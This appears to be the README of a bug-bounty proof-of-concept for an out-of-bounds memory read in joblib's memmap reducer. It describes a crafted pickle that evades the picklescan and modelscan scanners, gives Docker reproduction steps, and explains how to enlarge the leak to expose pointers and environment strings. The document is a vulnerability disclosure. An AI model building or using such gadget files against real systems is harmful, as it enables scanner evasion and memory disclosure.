joblib-strided-memmap-poc
Demonstrator artifact for huntr MFV report β joblib
_strided_from_memmapinjoblib/_memmapping_reducer.py:241-280callsnumpy.lib.stride_tricks.as_strided(base, shape, strides)with attacker- controlledshape/stridesfrom the pickle stream and no bounds check. Whenshape * stride > base.nbytes, the returned view dereferences process memory pages adjacent to the file-backed mmap region.Bypasses picklescan + modelscan. Discloses heap chunk metadata, glibc pointers, env-var fragments, and PIE base β full ASLR defeat for the loader.
This repository is intentionally gated. Files are released only to
protectai-bot (huntr triage) for verification.
Files
model.joblibβ 136-byte gadget pickle. Holds anOOBLeakinstance whose__reduce__calls_strided_from_memmapwithshape=(32,),strides=(256,),total_buffer_len=4096, and the absolute path/tmp/leak_backing.bin. picklescan and modelscan both report this file as clean.leak_backing.binβ 4 KiB of0xAA. Simulates a benign data file shipped alongside a model. Read in full and then OOB-traversed by the gadget.build-poc.pyβ Optional. Re-buildsmodel.joblib+/tmp/leak_backing.binfrom scratch and runs the full picklescan / modelscan /joblib.loadevidence chain. Use this if you want to verify the artifacts were not tampered with.
Reproduce locally (Docker)
docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc '
pip install -q joblib==1.5.3 numpy picklescan modelscan && \
cp leak_backing.bin /tmp/leak_backing.bin && \
picklescan -p model.joblib && \
modelscan -p model.joblib && \
python -c "
import joblib
arr = joblib.load(\"model.joblib\")
data = bytes(arr)
file_bytes = data[:16].hex()
oob_bytes = data[16:].hex()
print(\"first 16 (file content, expect aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa):\", file_bytes)
print(\"last 16 (process memory, varies per run):\", oob_bytes)
import sys; sys.exit(0 if any(b != 0xAA for b in data[16:]) else 1)
"
'
Expected output (the second hex string varies per run β that is the proof):
Infected files: 0 # picklescan clean
No issues found! π # modelscan clean
first 16 (file content, expect aa...): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
last 16 (process memory, varies per run): 008090... # OOB leak
For the deeper variant that recovers ~240 OOB bytes per load (env-var strings
and PIE pointers visible), edit build-poc.py to use shape=(256,) and
strides=(256,) and re-run.
Affected: joblib 1.5.3 (PyPI latest, 2025-12-15) and joblib 1.6.dev0 (repo
HEAD 5d1653a, 2026-03-03 β only intervening commit since 1.5.3 is a
dependabot github-actions bump). Sink: joblib/_memmapping_reducer.py:241-280.
Distinct from CVE-2024-34997 (different file, class, sink, primitive class β RCE vs. info-disclosure). See huntr submission for the full writeup.